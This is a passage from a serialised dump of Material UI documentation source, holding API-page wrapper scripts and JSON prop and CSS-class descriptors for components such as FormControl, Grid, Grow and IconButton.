    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"error\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"focused\": { \"type\": { \"name\": \"bool\" } },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"hiddenLabel\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"margin\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'dense'<br>&#124;&nbsp;'none'<br>&#124;&nbsp;'normal'\"\n      },\n      \"default\": \"'none'\"\n    },\n    \"required\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'standard'\"\n      },\n      \"default\": \"'outlined'\"\n    }\n  },\n  \"name\": \"FormControl\",\n  \"imports\": [\n    \"import FormControl from '@mui/material/FormControl';\",\n    \"import { FormControl } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiFormControl-fullWidth\",\n      \"description\": \"Styles applied to the root element if `fullWidth={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"marginDense\",\n      \"className\": \"MuiFormControl-marginDense\",\n      \"description\": \"Styles applied to the root element if `margin=\\\"dense\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"marginNormal\",\n      \"className\": \"MuiFormControl-marginNormal\",\n      \"description\": \"Styles applied to the root element if `margin=\\\"normal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiFormControl-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiFormControl\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/FormControl/FormControl.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-checkbox/\\\">Checkbox</a></li>\\n<li><a href=\\\"/material-ui/react-number-field/\\\">Number Field</a></li>\\n<li><a href=\\\"/material-ui/react-radio-button/\\\">Radio Group</a></li>\\n<li><a href=\\\"/material-ui/react-switch/\\\">Switch</a></li>\\n<li><a href=\\\"/material-ui/react-text-field/\\\">Text Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-group.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './form-group.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/form-group',\n    false,\n    /\\.\\/form-group.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-group.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"row\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"FormGroup\",\n  \"imports\": [\n    \"import FormGroup from '@mui/material/FormGroup';\",\n    \"import { FormGroup } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiFormGroup-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"row\",\n      \"className\": \"MuiFormGroup-row\",\n      \"description\": \"Styles applied to the root element if `row={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiFormGroup\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/FormGroup/FormGroup.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-checkbox/\\\">Checkbox</a></li>\\n<li><a href=\\\"/material-ui/react-switch/\\\">Switch</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-helper-text.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './form-helper-text.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/form-helper-text',\n    false,\n    /\\.\\/form-helper-text.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-helper-text.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"error\": { \"type\": { \"name\": \"bool\" } },\n    \"filled\": { \"type\": { \"name\": \"bool\" } },\n    \"focused\": { \"type\": { \"name\": \"bool\" } },\n    \"margin\": { \"type\": { \"name\": \"enum\", \"description\": \"'dense'\" } },\n    \"required\": { \"type\": { \"name\": \"bool\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'standard'<br>&#124;&nbsp;string\"\n      }\n    }\n  },\n  \"name\": \"FormHelperText\",\n  \"imports\": [\n    \"import FormHelperText from '@mui/material/FormHelperText';\",\n    \"import { FormHelperText } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"contained\",\n      \"className\": \"MuiFormHelperText-contained\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"filled\\\"` or `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"filled\",\n      \"className\": \"MuiFormHelperText-filled\",\n      \"description\": \"State class applied to the root element if `filled={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focused\",\n      \"className\": \"Mui-focused\",\n      \"description\": \"State class applied to the root element if `focused={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"required\",\n      \"className\": \"Mui-required\",\n      \"description\": \"State class applied to the root element if `required={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiFormHelperText-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiFormHelperText-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiFormHelperText\",\n  \"forwardsRefTo\": \"HTMLParagraphElement\",\n  \"filename\": \"/packages/mui-material/src/FormHelperText/FormHelperText.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-number-field/\\\">Number Field</a></li>\\n<li><a href=\\\"/material-ui/react-text-field/\\\">Text Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-label.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './form-label.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/form-label',\n    false,\n    /\\.\\/form-label.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-label.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"error\": { \"type\": { \"name\": \"bool\" } },\n    \"filled\": { \"type\": { \"name\": \"bool\" } },\n    \"focused\": { \"type\": { \"name\": \"bool\" } },\n    \"required\": { \"type\": { \"name\": \"bool\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"FormLabel\",\n  \"imports\": [\n    \"import FormLabel from '@mui/material/FormLabel';\",\n    \"import { FormLabel } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"asterisk\",\n      \"className\": \"MuiFormLabel-asterisk\",\n      \"description\": \"Styles applied to the asterisk element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiFormLabel-colorSecondary\",\n      \"description\": \"Styles applied to the root element if the color is secondary.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"filled\",\n      \"className\": \"MuiFormLabel-filled\",\n      \"description\": \"State class applied to the root element if `filled={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focused\",\n      \"className\": \"Mui-focused\",\n      \"description\": \"State class applied to the root element if `focused={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"required\",\n      \"className\": \"Mui-required\",\n      \"description\": \"State class applied to the root element if `required={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiFormLabel-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiFormLabel\",\n  \"forwardsRefTo\": \"HTMLLabelElement\",\n  \"filename\": \"/packages/mui-material/src/FormLabel/FormLabel.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-checkbox/\\\">Checkbox</a></li>\\n<li><a href=\\\"/material-ui/react-number-field/\\\">Number Field</a></li>\\n<li><a href=\\\"/material-ui/react-radio-button/\\\">Radio Group</a></li>\\n<li><a href=\\\"/material-ui/react-switch/\\\">Switch</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/global-styles.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './global-styles.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/global-styles',\n    false,\n    /\\.\\/global-styles.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/global-styles.json",
    "content": "{\n  \"props\": {\n    \"styles\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"array<br>&#124;&nbsp;func<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string<br>&#124;&nbsp;bool\"\n      }\n    }\n  },\n  \"name\": \"GlobalStyles\",\n  \"imports\": [\n    \"import GlobalStyles from '@mui/material/GlobalStyles';\",\n    \"import { GlobalStyles } from '@mui/material';\"\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": null,\n  \"muiName\": \"MuiGlobalStyles\",\n  \"filename\": \"/packages/mui-material/src/GlobalStyles/GlobalStyles.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/customization/how-to-customize/\\\">How to customize</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/grid.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './grid.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/grid', false, /\\.\\/grid.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/grid.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"columns\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object\"\n      },\n      \"default\": \"12\"\n    },\n    \"columnSpacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      }\n    },\n    \"container\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"direction\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'row-reverse'<br>&#124;&nbsp;'row'<br>&#124;&nbsp;Array&lt;'row-reverse'<br>&#124;&nbsp;'row'&gt;<br>&#124;&nbsp;object\"\n      },\n      \"default\": \"'row'\"\n    },\n    \"offset\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"string<br>&#124;&nbsp;number<br>&#124;&nbsp;Array&lt;string<br>&#124;&nbsp;number&gt;<br>&#124;&nbsp;object\"\n      }\n    },\n    \"rowSpacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      }\n    },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"string<br>&#124;&nbsp;bool<br>&#124;&nbsp;number<br>&#124;&nbsp;Array&lt;string<br>&#124;&nbsp;bool<br>&#124;&nbsp;number&gt;<br>&#124;&nbsp;object\"\n      }\n    },\n    \"spacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"0\"\n    },\n    \"wrap\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'nowrap'<br>&#124;&nbsp;'wrap-reverse'<br>&#124;&nbsp;'wrap'\"\n      },\n      \"default\": \"'wrap'\"\n    }\n  },\n  \"name\": \"Grid\",\n  \"imports\": [\"import Grid from '@mui/material/Grid';\", \"import { Grid } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"container\",\n      \"className\": \"MuiGrid-container\",\n      \"description\": \"Styles applied to the root element if `container={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiGrid-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiGrid\",\n  \"forwardsRefTo\": \"HTMLElement\",\n  \"filename\": \"/packages/mui-material/src/Grid/Grid.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-grid/\\\">Grid</a></li></ul>\",\n  \"cssComponent\": true\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/grow.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './grow.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/grow', false, /\\.\\/grow.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/grow.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"element\" }, \"required\": true },\n    \"addEndListener\": { \"type\": { \"name\": \"func\" } },\n    \"appear\": { \"type\": { \"name\": \"bool\" }, \"default\": \"true\" },\n    \"easing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"{ enter?: string, exit?: string }<br>&#124;&nbsp;string\"\n      }\n    },\n    \"in\": { \"type\": { \"name\": \"bool\" } },\n    \"timeout\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'auto'<br>&#124;&nbsp;number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"'auto'\"\n    }\n  },\n  \"name\": \"Grow\",\n  \"imports\": [\"import Grow from '@mui/material/Grow';\", \"import { Grow } from '@mui/material';\"],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiGrow\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Grow/Grow.js\",\n  \"inheritance\": {\n    \"component\": \"Transition\",\n    \"pathname\": \"https://reactcommunity.org/react-transition-group/transition/#Transition-props\"\n  },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-popover/\\\">Popover</a></li>\\n<li><a href=\\\"/material-ui/transitions/\\\">Transitions</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/icon-button.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './icon-button.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/icon-button',\n    false,\n    /\\.\\/icon-button.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/icon-button.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'default'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'default'\"\n    },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableFocusRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"edge\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'end'<br>&#124;&nbsp;'start'<br>&#124;&nbsp;false\"\n      },\n      \"default\": \"false\"\n    },\n    \"loading\": { \"type\": { \"name\": \"bool\" }, \"default\": \"null\" },\n    \"loadingIndicator\": {\n      \"type\": { \"name\": \"node\" },\n      \"default\": \"<CircularProgress color=\\\"inherit\\\" size={16} />\"\n    },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"IconButton\",\n  \"imports\": [\n    \"import IconButton from '@mui/material/IconButton';\",\n    \"import { IconButton } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"colorError\",\n      \"className\": \"MuiIconButton-colorError\",\n      \"description\": \"Styles applied to the root element if `color=\\\"error\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInfo\",\n      \"className\": \"MuiIconButton-colorInfo\",\n      \"description\": \"Styles applied to the root element if `color=\\\"info\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInherit\",\n      \"className\": \"MuiIconButton-colorInherit\",\n      \"description\": \"Styles applied to the root element if `color=\\\"inherit\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiIconButton-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiIconButton-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSuccess\",\n      \"className\": \"MuiIconButton-colorSuccess\",\n      \"description\": \"Styles applied to the root element if `color=\\\"success\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorWarning\",\n      \"className\": \"MuiIconButton-colorWarning\",\n      \"description\": \"Styles applied to the root element if `color=\\\"warning\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"edgeEnd\",\n      \"className\": \"MuiIconButton-edgeEnd\",\n      \"description\": \"Styles applied to the root element if `edge=\\\"end\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"edgeStart\",\n      \"className\": \"MuiIconButton-edgeStart\",\n      \"description\": \"Styles applied to the root element if `edge=\\\"start\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loading\",\n      \"className\": \"MuiIconButton-loading\",\n      \"description\": \"Styles applied to the root element if `loading={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loadingIndicator\",\n      \"className\": \"MuiIconButton-loadingIndicator\",\n      \"description\": \"Styles applied to the loadingIndicator element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loadingWrapper\",\n      \"className\": \"MuiIconButton-loadingWrapper\",\n      \"description\": \"Styles applied to the loadingWrapper element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiIconButton-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeLarge\",\n      \"className\": \"MuiIconButton-sizeLarge\",\n      \"description\": \"Styles applied to the root element if `size=\\\"large\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeMedium\",\n      \"className\": \"MuiIconButton-sizeMedium\",\n      \"description\": \"Styles applied to the root element if `size=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiIconButton-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiIconButton\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/IconButton/IconButton.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-button/\\\">Button</a></li>\\n<li><a href=\\\"/material-ui/react-number-field/\\\">Number Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/icon.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './icon.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/icon', false, /\\.\\/icon.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/icon.json",
    "content": "{\n  \"props\": {\n    \"baseClassName\": { \"type\": { \"name\": \"string\" }, \"default\": \"'material-icons'\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'action'<br>&#124;&nbsp;'disabled'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'inherit'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"fontSize\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Icon\",\n  \"imports\": [\"import Icon from 